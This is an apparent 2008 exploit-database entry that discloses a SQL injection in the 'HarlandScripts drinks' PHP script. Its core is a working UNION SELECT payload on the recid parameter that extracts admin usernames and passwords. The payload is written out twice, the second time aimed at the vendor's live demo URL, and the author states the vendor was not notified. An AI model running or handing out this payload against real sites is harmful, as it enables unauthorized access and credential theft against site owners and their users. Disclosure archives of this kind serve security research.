[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HarlandScripts drinks (recid) Remote SQL Injection Velnerability
# Published : 2008-11-05
# Author : Ex Tacy
# Previous Title : PHP JOBWEBSITE PRO (Auth Bypass) SQL Injection Vulnerability
# Next Title : Pre Real Estate Listings (Auth Bypass) SQL Injection Vulnerability
===========================================
Drinks script.
--------------------------------------------------------------------------------------
Vendor: http://www.fivedollarscripts.com
Demo: http://www.fivedollarscripts.com/drinks/index.php
Notified: No. Probably don't care.
Price: Five bones.
============================================
Exploit:
/path/index.php?cmd=6&recid=null union all select
1,null,concat(username,char(58),password),4,5,6,7,8,9,10,11,12 from
drinksadmin--
Live Demo:
http://www.fivedollarscripts.com/drinks/index.php?cmd=6&recid=null
union all select
1,null,concat(username,char(58),password),4,5,6,7,8,9,10,11,12 from
drinksadmin--
contact: x.s7acy at gmail dot com
greetings to bobthejanitor, mason, that new president guy, and the rest.
first script blah blah blah
=============================================
# www.Syue.com [2008-11-05]